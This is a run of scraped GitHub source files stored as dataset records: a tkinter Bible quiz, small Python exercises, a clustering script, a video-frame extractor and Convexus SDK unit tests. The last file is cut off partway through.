'ps113': \"Psalm 1:1-3\", 'rom120': \"Romans 1:20\",\n        '1john519': \"1 John 5:19\", 'acts83031': \"Acts 8:30, 31\",\n        'gen315': \"Genesis 3:15\", 'job267': \"Job 26:7\",\n        'matt281920': \"Matthew 28:19, 20\", 'ps2218': \"Psalm 22:18\",\n        'rom1620': \"Romans 16:20\", '1pet57': \"1 Peter 5:8\",\n        'dan244': \"Daniel 2:44\", 'heb102425': \"Hebrews 10:24, 25\",\n        'job3410': \"Job 34:10\", 'matt610': \"Matthew 6:10\",\n        'ps8318': \"Psalm 83:19\",\n        '1thess213': \"1 Thessalonians 2:13\", 'dan71': \"Daniel 7:1\",\n        'heb34': \"Hebrews 3:4\", 'josh18': \"Joshua 1:8\", 'micah52': \"Micah 5:2\",\n        'rev1115': \"Revelation 11:15\", '1tim_3_1-5': \"1 Timothy 3:1-5\",\n        'eccl17': \"Ecclesiastes 1:7\", 'isa4022': \"Isaiah 40:22\",\n        'luke2111': \"Luke 21:11\", 'neh88': \"Nehemiah 8:8\",\n        'rev129': \"Revelation 12:9\", '1tim415': \"1 Timothy 4:15\",\n        'ex244': \"Exodus 24:4\", 'isa4026': \"Isaiah 40:26\", 'mark137': \"Mark 13:7\",\n        'prov1320': \"Proverbs 13:20\", 'rev202': \"Revelation 20:2\",\n        'prov_14_30': \"Proverbs 14:30\", 'acts_20_35': \"Acts 20:35\",\n        'eph_5_33': \"Ephesians 5:33\", 'eccl_5_10': \"Ecclesiastes 5:10\",\n        'jas_1_19': \"James 1:19\", 'isa_33_24': \"Isaiah 33:24\",\n        'isa_35_5': \"Isaiah 35:5\", 'john_5_28_29': \"John 5:28, 29\",\n        'deut_32_4': \"Deuteronomy 32:4\", 'jer_32_17': \"Jeremiah 32:17\",\n        'rom_11_33': \"Romans 11:33\", '1john_4_8': \"1 John 4:8\",\n        'matt_15_32': \"Matthew 15:32\", 'luke_24_19': \"Luke 24:19\",\n        'luke_22_27': \"Luke 22:27\", 'titus_1_4': \"Titus 1:4\",\n        'matt_28_5_6': \"Matthew 28:5, 6\", 'luke_24_51': \"Luke 24:51\",\n        'acts_2_32': \"Acts 2:32\", '1cor_15_4-6': \"1 Corinthians 15:4-6\",\n        'psalm_91_9_11': \"Psalm 91:9, 11\", 'psalm_103_20': \"Psalm 103:20\",\n        'rev_19_10': \"Revelation 19:10\", 'isa_25_8': \"Isaiah 25:8\",\n        'ezek_33_11': \"Ezekiel 33:11\", 'rom_6_23': \"Romans 6:23\",\n        'isa_55_11': \"Isaiah 55:11\", 'eccl_8_9': \"Ecclesiastes 8:9\",\n        'rom_5_12': \"Romans 5:12\", '2pet_3_9': \"2 Peter 3:9\",\n        'gen_3_1': \"Genesis 3:1\", 'gen_3_4': \"Genesis 3:4\",\n        'gen_3_5': \"Genesis 3:5\", 'matt_20_28': \"Matthew 20:28\",\n        '1cor_15_26': \"1 Corinthians 15:26\", 'col_1_14': \"Colossians 1:14\",\n        'psalm_72_8': \"Psalm 72:8\", 'dan_7_14': \"Daniel 7:14\",\n        'matt_28_18': \"Matthew 28:18\", 'psalm_37_10': \"Psalm 37:10\",\n        'psalm_72_16': \"Psalm 72:16\", 'rev_5_10': \"Revelation 5:10\",\n        'isa_9_7': \"Isaiah 9:7\", 'matt_13_19': \"Matthew 13:19\",\n        'luke_17_20_21': \"Luke 17:20, 21\", 'isa_30_15': \"Isaiah 30:15\",\n        'psalm_13_2': \"Psalm 13:2\", '1john_4_7': \"1 John 4:7\",\n        'rev_7_10': \"Revelation 7:10\", 'rom_12_10': \"Romans 12:10\",\n        'acts_24_15': \"Acts 24:15\", '1cor_15_55': \"1 Corinthians 15:55\",\n        '1cor_15_29': \"1 Corinthians 15:29\", 'prov_24_16': \"Proverbs 24:16\",\n        'psalm_34_18': \"Psalm 34:18\", 'psalm_55_22': \"Psalm 55:22\",\n        'heb_13_5': \"Hebrews 13:5\", '2cor_13_11': \"2 Corinthians 13:11\",\n        'prov_4_25': \"Proverbs 4:25\", '2cor_3_3': \"2 Corinthians 3:3\",\n        '1tim_4_16': \"1 Timothy 4:16\", 'zech_4_6': \"Zechariah 4:6\",\n        'luke_2_52': \"Luke 2:52\", 'luke_5_10': \"Luke 5:10\",\n        'eccl_11_6': \"Ecclesiastes 11:6\", '2chron_14_6': \"2 Chronicles 14:6\",\n        'psalm_68_11': \"Psalm 68:11\", '1tim_6_20': \"1 Timothy 6:20\",\n        'eccl_5_8': \"Ecclesiastes 5:8\", 'heb_11_10': \"Hebrews 11:10\",\n        'micah_6_8': \"Micah 6:8\", '1cor_12_12': \"1 Corinthians 12:12\",\n        '1cor_12_21': \"1 Corinthians 12:21\", 'rom_12_3': \"Romans 12:3\",\n        '2tim_3_14': \"2 Timothy 3:14\", '2cor_12_10': \"2 Corinthians 12:10\",\n        '3john_4': \"3 John: 4\", 'psalm_135_13': \"Psalm 135:13\",\n        'psalm_86_11_12': \"Psalm 86:11, 12\", 'ezek_34_11': \"Ezekiel 34:11\",\n        'mal_3_7': \"Malachi 3:7\", 'dan_11_40': \"Daniel 11:40\",\n        'dan_11_45': \"Daniel 11:45\", 'psalm_40_5': \"Psalm 40:5\",\n        '2cor_4_18': \"2 Corinthians 4:18\", 'joel_1_6': \"Joel 1:6\",\n        'john_4_35': \"John 4:35\", 'john_7_24': \"John 7:24\",\n        'john_15_15': \"John 15:15\", '2tim_4_7': \"2 Timothy 4:7\",\n        'acts_8_36': \"Acts 8:36\", '1peter_3_21': \"1 Peter 3:21\",\n        '1peter_1_22': \"1 Peter 1:22\", 'matt_6_9': \"Matthew 6:9\",\n        '1john_4_19': \"1 John 4:19\", 'rom_14_19': \"Romans 14:19\",\n        'psalm_94_19': \"Psalm 94:19\", 'col_4_11': \"Colossians 4:11\",\n        'psalm_136_23': \"Psalm 136:23\", 'rom_8_16': \"Romans 8:16\",\n        'zech_8_23': \"Zechariah 8:23\", 'mark_6_31': \"Mark 6:31\",\n        'lev_5_10': \"Leviticus 5:10\", 'psalm_9_10': \"Psalm 9:10\",\n        'psalm_127_3': \"Psalm 127:3\", 'prov_17_17': \"Proverbs 17:17\",\n        'phil_4_13': \"Philippians 4:13\", 'eph_6_16': \"Ephesians 6:16\",\n        '2cor_8_11': \"2 Corinthians 8:11\", '1cor_15_58': \"1 Corinthians 15:58\",\n        'psalm_31_23': \"Psalm 31:23\", 'phil_2_13': \"Philippians 2:13\",\n        'nah_1_2': \"Nahum 1:2\", 'psalm_138_6': \"Psalm 138:6\",\n        'rev_16_16': \"Revelation 16:16\", 'heb_12_9': \"Hebrews 12:9\",\n        'matt_11_28': \"Matthew 11:28\", 'rev_7_9': \"Revelation 7:9\",\n        '2cor_4_16': \"2 Corinthians 4:16\", 'phil_1_9': \"Philippians 1:9\",\n        'heb_6_10': \"Hebrews 6:10\", '2tim_3_12': \"2 Timothy 3:12\",\n        'acts_4_19_20': \"Acts 4:19, 20\", '1cor_9_22': \"1 Corinthians 9:22\",\n        'col_2_8': \"Colossians 2:8\", '2cor_10_5': \"2 Corinthians 10:5\",\n        '1sam_1_15': \"1 Samuel 1:15\", '1pet_3_8': \"1 Peter 3:8\",\n        'gal_6_2': \"Galatians 6:2\", '2cor_1_3-4': \"2 Corinthians 1:3, 4\",\n        '1cor_3_19': \"1 Corinthians 3:19\", 'phil_1_10': \"Philippians 1:10\",\n        '2tim_4_5': \"2 Timothy 4:5\", 'phil_4_7': \"Philippians 4:7\",\n        '1john_4_6': \"1 John 4:6\", 'eph_6_12': \"Ephesians 6:12\",\n        'acts_8_38': \"Acts 8:38\", 'matt_17_5': \"Matthew 17:5\",\n        'mark_6_34': \"Mark 6:34\", 'job_27_5': \"Job 27:5\",\n        'zeph_2_3': \"Zephaniah 2:3\", 'col_3_15': \"Colossians 3:15\",\n        'psalm_33_5': \"Psalm 33:5\", 'isa_41_10': \"Isaiah 41:10\",\n        'psalm_22_22': \"Psalm 22:22\", 'prov_4_23': \"Proverbs 4:23\",\n        'matt_26_26-28': \"Matthew 26:26-28\", '1cor_11_26': \"1 Corinthians 11:26\",\n        'luke_23_43': \"Luke 23:43\", 'mark_10_9': \"Mark 10:9\",\n        'psalm_103_5': \"Psalm 103:5\", 'psalm_16_11': \"Psalm 16:11\",\n        'prov_23_23': \"Proverbs 23:23\", 'psalm_86_11': \"Psalm 86:11\",\n        'rom_12_2': \"Romans 12:2\", 'zech_8_16': \"Zechariah 8:16\",\n        'psalm_119_159-160': \"Psalm 119:159-160\", 'matt_23_10': \"Matthew 23:10\",\n        'psalm_131_2': \"Psalm 131:2\", 'john_4_34': \"John 4:34\",\n        '1cor_8_1': \"1 Corinthians 8:1\", 'psalm_144_15': \"Psalm 144:15\",\n        'psalm_103_14': \"Psalm 103:14\", 'psalm_41_1': \"Psalm 41:1\",\n        'prov_18_13': \"Proverbs 18:13\", '1cor_3_9': \"1 Corinthians 3:9\",\n        'psalm_123_1': \"Psalm 123:1\", 'deut_10_20': \"Deuteronomy 10:20\",\n        'psalm_33_12': \"Psalm 33:12\", \n        'john_17_20-21': \"John 17:20, 21\", 'psalm_119_99': \"Psalm 119:99\",\n        'matt_5_16': \"Matthew 5:16\", 'luke_8_15': \"Luke 8:15\",\n        'john_15_8': \"John 15:8\", '2cor_2_11': \"2 Corinthians 2:11\",\n        'eph_6_11': \"Ephesians 6:11\", 'john_8_36': \"John 8:36\",\n        '2cor_3_17': \"2 Corinthians 3:17\", 'prov_16_3': \"Proverbs 16:3\",\n        'acts_22_16': \"Acts 22:16\", '1pet_4_9': \"1 Peter 4:9\",\n        'heb_12_6': \"Hebrews 12:6\", 'prov_8_32-33': \"Proverbs 8:32-33\",\n        'ezek_14_14': \"Ezekiel 14:14\", 'prov_28_5': \"Proverbs 28:5\",\n        'rom_15_5': \"Romans 15:5\", 'gal_5_16': \"Galatians 5:16\",\n        'isa_40_31': \"Isaiah 40:31\", 'psalm_133_1': \"Psalm 133:1\",\n        '1chron_29_13': \"1 Chronicles 29:13\", 'mal_3_18': \"Malachi 3:18\",\n        'john_11_11': \"John 11:11\", '1cor_15_45': \"1 Corinthians 15:45\",\n        '2tim_3_15': \"2 Timothy 3:15\", 'phil_2_12': \"Philippians 2:12\",\n        'psalm_147_1': \"Psalm 147:1\", 'psalm_34_22': \"Psalm 34:22\",\n        'zech_7_9': \"Zechariah 7:9\",\n    }\n\n    # Generate Random Number\n    global rand_num\n    rand_num = randint(0, len(scrips_files) - 1)\n\n    # Create global variable to keep and track answers\n    global answer\n    answer = scrips_files[rand_num]\n\n    # Create empty answer list and counter\n    answer_list = []\n    count = 1\n\n    # Generate four random scripture numbers\n    while count < 5:\n        rand_num = randint(0, len(scrips_files) - 1)\n\n        # If first selection, make it our answer\n        if count == 1:\n            answer = scrips_files[rand_num]\n            global scrip_image\n            scrip = \"images/\" + scrips_files[rand_num] + \".png\"\n            scrip_image = ImageTk.PhotoImage(Image.open(scrip))\n            show_scrips.config(image=scrip_image)\n\n        # Add first selection to our list\n        answer_list.append(scrips_files[rand_num])\n\n        # Remove answer from list\n        scrips_files.remove(scrips_files[rand_num])\n\n        # Shuffle original list\n        random.shuffle(scrips_files)\n\n        count += 1\n    \n    # Re-Shuffle list for randomy randomness\n    random.shuffle(answer_list)\n\n    # Create tkinter radio buttons for possible answers chosen at random above\n    global scrips_radio\n    scrips_radio = StringVar()\n    scrips_radio.set(scrips_text[answer_list[0]])\n\n    scrips_radio_button1 = Radiobutton(scrips_frame, bg='gray90', \n        text=scrips_text[answer_list[0]], variable=scrips_radio,\n        value=scrips_text[answer_list[0]]).pack()\n\n    scrips_radio_button2 = Radiobutton(scrips_frame, bg='gray90', \n        text=scrips_text[answer_list[1]], variable=scrips_radio, \n        value=scrips_text[answer_list[1]]).pack()\n\n    scrips_radio_button3 = Radiobutton(scrips_frame, bg='gray90', \n        text=scrips_text[answer_list[2]], variable=scrips_radio, \n        value=scrips_text[answer_list[2]]).pack()\n\n    scrips_radio_button4 = Radiobutton(scrips_frame, bg='gray90', \n        text=scrips_text[answer_list[3]], variable=scrips_radio, \n        value=scrips_text[answer_list[3]]).pack()\n\n    # Add a \"next\" button\n    next_button = Button(scrips_frame, text=\"Next Scripture\", command=scrips, \n        bg='gray90')\n    next_button.pack(pady=15)\n\n    # Create a button to trigger answer function\n    scrips_answer_button = Button(scrips_frame, text=\"Answer\", \n        command=scrips_answer, bg='gray90')\n    scrips_answer_button.pack(pady=15)\n    \n    # Add a button to clear the score if desired\n    score_button = Button(scrips_frame, text=\"Clear Score\", command=clscore, \n        bg='gray90')\n    score_button.pack(pady=15)\n    \n\n    # Create answer label for correct / incorrect answers\n    global answer_label_scrips\n    answer_label_scrips = Label(scrips_frame, text=\"\", \n        font=\"Helvetica 20 bold\", fg='DarkOrchid4', bg='gray90')\n    answer_label_scrips.pack(pady=15)\n\n    # Create score text for keeping track of score\n    r_score_text = \"Score: \" + str(correct) + \" out of \" + str(total)\n    \n    # Create score label for keeping track of score\n    global running_score_label\n    running_score_label = Label(scrips_frame, text=r_score_text, \n        font=\"Helvetica 20 bold\", fg='DarkOrchid4', bg='gray90')\n    running_score_label.pack(pady=10) \n\n\n# Create function for clearing the score\ndef clscore():\n    \n    # Reference global variables for score tracking\n    global correct\n    global total\n    correct = 0\n    total = 0  \n    \n    # Create score text and update label\n    score_text = \"Score: \" + str(correct) + \" out of \" + str(total)\n    running_score_label.config(text=score_text)\n\n\n# Create function to hide all previous frames\ndef hide_all_frames():\n    # Loop through and destroy all children in previous frames\n    for widget in master_frame.winfo_children():\n        widget.destroy()\n        \n    for widget in songs_jah_frame.winfo_children():\n        widget.destroy()\n        \n    for widget in songs_jesus_ransom_frame.winfo_children():\n        widget.destroy()\n        \n    for widget in all_songs_frame.winfo_children():\n        widget.destroy()\n        \n    for widget in bible_books_quiz_frame.winfo_children():\n        widget.destroy()\n        \n    for widget in bible_writers_frame.winfo_children():\n        widget.destroy()\n        \n    for widget in scrips_frame.winfo_children():\n        widget.destroy()       \n        \n            \n    master_frame.pack_forget()\n    songs_jah_frame.pack_forget()\n    songs_jesus_ransom_frame.pack_forget()\n    all_songs_frame.pack_forget()\n    bible_books_quiz_frame.pack_forget()\n    bible_writers_frame.pack_forget()\n    scrips_frame.pack_forget()\n        \n\n# Create Bible Quiz Master Menu Items\nmaster_menu = Menu(my_menu)\nmy_menu.add_cascade(label=\"Main Menu\", menu=master_menu)\nmaster_menu.add_command(label=\"Clear Window\", command=hide_all_frames)\nmaster_menu.add_separator()\nmaster_menu.add_command(label=\"Exit\", command=root.quit)\n\n# Create Bible Quiz Scripture Menu Items\nscrip_menu = Menu(my_menu)\nmy_menu.add_cascade(label=\"Scriptures\", menu=scrip_menu)\nscrip_menu.add_command(label=\"Bible Books and Numbers\", \n    command=bible_books_quiz)\nscrip_menu.add_command(label=\"Bible Books and Writers\",\n    command=bible_writers)\nscrip_menu.add_command(label=\"Scriptural Texts\", command=scrips)\n\n\nsong_menu = Menu(my_menu)\nmy_menu.add_cascade(label=\"Songs\", menu=song_menu)\nsong_menu.add_command(label=\"Songs About Jehovah\", command=songs_jah)\nsong_menu.add_command(label=\"Songs About Jesus Ransom\", \n    command=songs_jesus_ransom)\nsong_menu.add_command(label=\"All Kingdom Songs\",\n    command=all_songs)\n\n\n# Create Frames\nmaster_frame = Frame(root, width=800, height=800, bg='gray90')\n\nbible_books_quiz_frame = Frame(root, width=800, height=800, bg='gray90')\nbible_writers_frame = Frame(root, width=800, height=800, bg='gray90')\nscrips_frame = Frame(root, width=800, height=800, bg='gray90')\n\nsongs_jah_frame = Frame(root, width=800, height=800, bg='gray90')\nsongs_jesus_ransom_frame = Frame(root, width=800, height=800, bg='gray90')\nall_songs_frame = Frame(root, width=800, height=800, bg='gray90')\n\n\n# Allow main program to run\nroot.mainloop()\n","repo_name":"promontorycoder/bible_learning","sub_path":"bible_learning.py","file_name":"bible_learning.py","file_ext":"py","file_size_in_byte":58161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18478371919","text":"championship_level = input()\nticket_type = input()\nticket_count = int(input())\ntrophy_picture = input()\ntrophy_cost = 0\ntotal_cost = 0\ntrophy_cost = 0\nif championship_level == \"Quarter final\":\n    if ticket_type == \"Standard\":\n        ticket_price = 55.5\n    elif ticket_type == \"Premium\":\n        ticket_price = 105.20\n    else:\n        ticket_price = 118.90\nelif championship_level == \"Semi final\":\n    if ticket_type == \"Standard\":\n        ticket_price = 75.88\n    elif ticket_type == \"Premium\":\n        ticket_price = 125.22\n    else:\n        ticket_price = 300.40\nelse:\n    if ticket_type == \"Standard\":\n        ticket_price = 110.10\n    elif ticket_type == \"Premium\":\n        ticket_price = 160.66\n    else:\n        ticket_price = 400\nif trophy_picture == \"Y\":\n    trophy_cost = 40 * ticket_count\nticket_cost = ticket_price * ticket_count\nif ticket_cost > 4000:\n    ticket_cost *= 0.75\n    trophy_cost = 0\nelif ticket_cost > 2500:\n    ticket_cost *= 0.9\ntotal_cost = ticket_cost +  trophy_cost\nprint(f\"{total_cost:.2f}\")","repo_name":"RadoslavTs/SoftUni-Courses","sub_path":"1. Python Basics/Exams practice/5. 9 march 2019/3. world_snooker_championship.py","file_name":"3. world_snooker_championship.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22454433943","text":"'''\nHandy test.py script for fast tests related to C Extensions testing.\n'''\nfrom pathlib import Path\n\nimport featsat\nimport sia\n\n\ndef header(text):\n\t'''Formats header titles for printing tests'''\n\tn = 80\n\tlong_line = n*'-'\n\tshort_line = 30*' '\n\n\tprint(long_line)\n\tprint(f'{short_line} {text}')\n\tprint(long_line)\n\n\ndef test_featsat():\n\n\tfile, max_clauses = 'HCP-529-420.cnf', 319490\n\t#file, max_clauses = 'UNSAT_P_sat_snake_p05.pddl_30.cnf', 239054681\n\t#file, max_clauses = 'graph.cnf', 7\n\n\theader('PYTHON TESTS')\n\t\t\n\theader('modularity_vig')\n\tfeatsat.modularity_vig(file, max_clauses)\n\t\n\theader('modularity_cvig')\n\tfeatsat.modularity_cvig(file, max_clauses)\n\n\theader('scale_free_var')\n\tfeatsat.scale_free_var(file, max_clauses)\n\t\n\theader('scale_free_clause')\n\tfeatsat.scale_free_clause(file, max_clauses)\n\t\n\theader('self_similar_vig')\n\tfeatsat.self_similar_vig(file, max_clauses)\n\n\theader('self_similar_cvig')\n\tfeatsat.self_similar_cvig(file, max_clauses)\n\n\t#header('compute_all')\n\t#featsat.compute_all(file, max_clauses)\n\n\nif __name__ == '__main__':\n\n\tfile = 'tests/data/HCP-529-420.cnf'\n\tfile = 'tests/data/1_clause_0_var.cnf'\n\tfile = 'tests/data/php_100_101.cnf'\n\t\n\tprint('Launch modularity')\n\tans = sia.feat.modularity(Path(file), mode='vig')\n\tprint(ans)\n\tprint('Launch self similarity')\n\tans = sia.feat.self_similar(Path(file), mode='vig')\n\tprint(ans)\n\tprint('Launch scale free')\n\tans = sia.feat.scale_free(Path(file), mode='var')\n\tprint(ans)","repo_name":"blcksy/sia","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18690386953","text":"# eval 을 쓰는 문제가 아님\ns = input()\n\narray = s.split('-')\nresult = 0\nif len(array) >= 2: # - 기호가 있다는 뜻\n    for i in range(len(array)):\n        for j in array[i].split('+'):\n            if i == 0:\n                result += int(j)\n            else:\n                result -= int(j)\nelse: # - 기호가 없다는 뜻\n    temp = s.split('+')\n    for i in temp:\n        result += int(i)\nprint(result)\n\n# https://pacific-ocean.tistory.com/228\n\n\n\n","repo_name":"sanghyunEE/coding-test","sub_path":"greedy/1541.py","file_name":"1541.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32724719443","text":"# Hierarchical Clustering\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\n# for feature scaling\r\nfrom sklearn.preprocessing import StandardScaler\r\n\r\n# for splitting data into trains and tests\r\nfrom sklearn.model_selection import train_test_split\r\n\r\n# for dendrogram plot\r\nfrom scipy.cluster import hierarchy\r\n\r\n# for Agglomerative cluster\r\nfrom sklearn.cluster import AgglomerativeClustering\r\n\r\n# plotting 3D\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\n\r\ndef HC():\r\n    # import data\r\n    dataset = pd.read_csv('Mall_Customers.csv')\r\n\r\n    # encoding Genre\r\n    gender = {'Male': 1, 'Female': 2}\r\n    dataset.Genre = [gender[Item] for Item in dataset.Genre]\r\n\r\n    '''\r\n         CustomerID  Genre  Age  Annual Income (k$)  Spending Score (1-100)\r\n    0             1      1   19                  15                      39\r\n    1             2      1   21                  15                      81\r\n    '''\r\n\r\n    # independent\r\n    independent = dataset.iloc[:, [2, 3, 4]].values\r\n\r\n    # dendrogram plot\r\n    # linkage = Perform hierarchical/agglomerative clustering.\r\n    # more info about linkage:\r\n    # https://docs.scipy.org/doc/scipy/reference/generated/scipy.cluster.hierarchy.linkage.html#scipy.cluster.hierarchy.linkage\r\n    # y: nd array = 2d, 3d, 4d any features can handle\r\n    # ward is minimization algorithm.\r\n    dendrogram = hierarchy.dendrogram(hierarchy.linkage(independent, method='ward'))\r\n    plt.title('Dendrogram (Ward)')\r\n    plt.xlabel('Customers')\r\n    plt.ylabel('distance')\r\n    plt.show()\r\n\r\n    # train/fit the dataset\r\n    # n_clusters is how many clusters\r\n    # affinity is distance default=’euclidean’\r\n    # linkage The algorithm will merge the pairs of cluster default=’ward’\r\n    hc = AgglomerativeClustering(n_clusters=3, affinity='euclidean', linkage='ward')\r\n    dependent = hc.fit_predict(independent)\r\n\r\n    print(dependent)\r\n\r\n    # 3D plotting\r\n    fig = plt.figure()\r\n    ax = Axes3D(fig)\r\n    item = np.array(dataset['Genre'])\r\n    item2 = np.array(dependent)\r\n    row = 0\r\n\r\n    for i, j in zip(item, item2):\r\n        if i == 1:  # male\r\n            if j == 0:\r\n                x1, y1, z1 = dataset.at[row, 'Age'], dataset.at[row, 'Annual Income (k$)'], dataset.at[row, 'Spending Score (1-100)']\r\n                ax.scatter(xs=x1, ys=y1, zs=z1, marker='o', c='b')\r\n            elif j == 1:\r\n                x2, y2, z2 = dataset.at[row, 'Age'], dataset.at[row, 'Annual Income (k$)'], dataset.at[row, 'Spending Score (1-100)']\r\n                ax.scatter(xs=x2, ys=y2, zs=z2, marker='o', c='r')\r\n            elif j == 2:\r\n                x3, y3, z3 = dataset.at[row, 'Age'], dataset.at[row, 'Annual Income (k$)'], dataset.at[row, 'Spending Score (1-100)']\r\n                ax.scatter(xs=x3, ys=y3, zs=z3, marker='o', c='pink')\r\n        elif i == 2:  # female\r\n            if j == 0:\r\n                x1, y1, z1 = dataset.at[row, 'Age'], dataset.at[row, 'Annual Income (k$)'], dataset.at[row, 'Spending Score (1-100)']\r\n                ax.scatter(xs=x1, ys=y1, zs=z1, marker='x', c='b')\r\n            elif j == 1:\r\n                x2, y2, z2 = dataset.at[row, 'Age'], dataset.at[row, 'Annual Income (k$)'], dataset.at[row, 'Spending Score (1-100)']\r\n                ax.scatter(xs=x2, ys=y2, zs=z2, marker='x', c='r')\r\n            elif j == 2:\r\n                x3, y3, z3 = dataset.at[row, 'Age'], dataset.at[row, 'Annual Income (k$)'], dataset.at[row, 'Spending Score (1-100)']\r\n                ax.scatter(xs=x3, ys=y3, zs=z3, marker='x', c='pink')\r\n        row = row + 1\r\n\r\n    ax.set_xlabel('Age')\r\n    ax.set_ylabel('Annual Income (k$)')\r\n    ax.set_zlabel('Spending Score (1-100)')\r\n    plt.show()\r\n\r\n\r\nif __name__ == '__main__':\r\n    HC()\r\n","repo_name":"Yuji-github/Hierarchical-Clustering","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38398131354","text":"\"\"\"\r\nCreation dataset from videos\r\n\r\n\"\"\"\r\n\r\nimport cv2\r\nfrom scipy import misc\r\nfrom PIL import Image\r\n\r\n\r\ndef getFrames(file, destination, c):\r\n    \"\"\"\r\n    Esta función se encarga de leer los frames de los videos\r\n\r\n    Argumentos:\r\n    - file: Path del video a leer\r\n    - destination: Path de la destinació de los frames leidos\r\n    - c: Contador con ultima frame leida\r\n    \r\n    Retorna:\r\n    - c: Contador con ultima frame leida\r\n\r\n    \"\"\"\r\n    print(\"Reading \" + file)\r\n    vidcap = cv2.VideoCapture(file)\r\n    success,image = vidcap.read()\r\n        \r\n    print(\"Saving frames in \" + destination)\r\n    while success:\r\n        image = cv2.resize(image, (150,100))\r\n        cv2.imwrite(destination +  \"/sign_\" + sign + \"_\" + str(c) + \".jpg\", image)      \r\n        success,image = vidcap.read()\r\n        c += 1\r\n    \r\n    print(\"Total count so far: \" + str(c) + \"\\n\")\r\n    return c\r\n    \r\n\r\nif __name__ == '__main__':\r\n    \r\n    countSigns = [0, 0, 0, 0, 0]\r\n    listSigns = [\"1\", \"2\", \"3\", \"4\", \"5\"]\r\n    listOpcAC = [\"_DA_\", \"_DB_\", \"_FA_\", \"_FB_\"]\r\n    listOpcB = [\"_DA_b\", \"_FA_b\"]\r\n\r\n    for sign, (i, c) in zip(listSigns, enumerate(countSigns)):\r\n        \r\n        # Llegir opcions a + c\r\n        for opcAC in listOpcAC:\r\n            fileA = \"../dataset/videos/\" + sign + opcAC + \"a\" + \".mp4\"\r\n            fileC = \"../dataset/videos/\" + sign + opcAC + \"c\" + \".MOV\"\r\n            destination = \"../dataset/sign_\" + sign\r\n            \r\n            c = getFrames(fileA, destination, c)\r\n            c = getFrames(fileC, destination, c)\r\n            \r\n        \r\n        # Llegir opcions b\r\n        for opc in listOpcB:\r\n            file = \"../dataset/videos/\" + sign + opc + \".mp4\"\r\n            destination = \"../dataset/sign_\" + sign\r\n            c = getFrames(file, destination, c)\r\n            \r\n        countSigns[i] += c\r\n\r\n\r\n            \r\n    \r\n","repo_name":"adriend1102/Hand-Clasification-VC-Project","sub_path":"code/makeDataset.py","file_name":"makeDataset.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5142766852","text":"import unittest\n\nfrom convexus.icontoolkit.expect import expect\nfrom convexus.sdk.constants import TICK_SPACINGS, FeeAmount\nfrom convexus.sdkcore.entities.currency import Token\n\nfrom convexus.sdk.utils.encodeSqrtRatioX96 import encodeSqrtRatioX96\nfrom convexus.sdk.entities.pool import Pool\nfrom convexus.sdk.utils.tickMath import TickMath\n\nfrom convexus.sdk.utils.nearestUsableTick import nearestUsableTick\nfrom convexus.sdk.entities.position import Position, PositionConstructorArgs\nfrom convexus.sdkcore.entities.fractions.percent import Percent\nfrom convexus.sdkcore.entities.icx import Icx\nfrom convexus.sdk.entities.route import Route\n\nICX = Icx()\ntoken0 = Token('cx0000000000000000000000000000000000000001', 18, 't0')\ntoken1 = Token('cx0000000000000000000000000000000000000002', 18, 't1')\ntoken2 = Token('cx0000000000000000000000000000000000000003', 18, 't2')\nwicx = ICX.wrapped\n\nclass TestRoute(unittest.TestCase):\n\n  def setUp(self) -> None:\n    super().setUp()\n    self.pool_0_1 = Pool(token0, token1, FeeAmount.MEDIUM, encodeSqrtRatioX96(1, 1), 0, 0, [])\n    self.pool_0_wicx = Pool(token0, wicx, FeeAmount.MEDIUM, encodeSqrtRatioX96(1, 1), 0, 0, [])\n    self.pool_1_wicx = Pool(token1, wicx, FeeAmount.MEDIUM, encodeSqrtRatioX96(1, 1), 0, 0, [])\n\n  def test_constructsAPathFromTheTokens(self):\n    route = Route([self.pool_0_1], token0, token1)\n    expect(route.pools).toEqual([self.pool_0_1])\n    expect(route.tokenPath).toEqual([token0, token1])\n    expect(route.input).toEqual(token0)\n    expect(route.output).toEqual(token1)\n    \n  def test_shouldFailIfTheInputIsNotInTheFirstPool(self):\n    expect(lambda: Route([self.pool_0_1], wicx, token1)).toThrow(AssertionError)\n\n  def test_shouldFailIfOutputIsNotInTheLastPool(self):\n    expect(lambda: Route([self.pool_0_1], token0, wicx)).toThrow(AssertionError)\n\n  def test_canHaveATokenAsBothInputAndOutput(self):\n    route = Route([self.pool_0_wicx, self.pool_0_1, self.pool_1_wicx], wicx, wicx)\n    expect(route.pools).toEqual([self.pool_0_wicx, self.pool_0_1, self.pool_1_wicx])\n    expect(route.input).toEqual(wicx)\n    expect(route.output).toEqual(wicx)\n\n  def test_supportsIcxInput(self):\n    route = Route([self.pool_0_wicx], ICX, token0)\n    expect(route.pools).toEqual([self.pool_0_wicx])\n    expect(route.input).toEqual(ICX)\n    expect(route.output).toEqual(token0)\n\n  def test_supportsIcxOutput(self):\n    route = Route([self.pool_0_wicx], token0, ICX)\n    expect(route.pools).toEqual([self.pool_0_wicx])\n    expect(route.input).toEqual(token0)\n    expect(route.output).toEqual(ICX)\n\nclass TestMidPriceRoute(unittest.TestCase):\n\n  def setUp(self) -> None:\n    super().setUp()\n\n    self.pool_0_1 = Pool(\n      token0,\n      token1,\n      FeeAmount.MEDIUM,\n      encodeSqrtRatioX96(1, 5),\n      0,\n      TickMath.getTickAtSqrtRatio(encodeSqrtRatioX96(1, 5)),\n      []\n    )\n    self.pool_1_2 = Pool(\n      token1,\n      token2,\n      FeeAmount.MEDIUM,\n      encodeSqrtRatioX96(15, 30),\n      0,\n      TickMath.getTickAtSqrtRatio(encodeSqrtRatioX96(15, 30)),\n      []\n    )\n    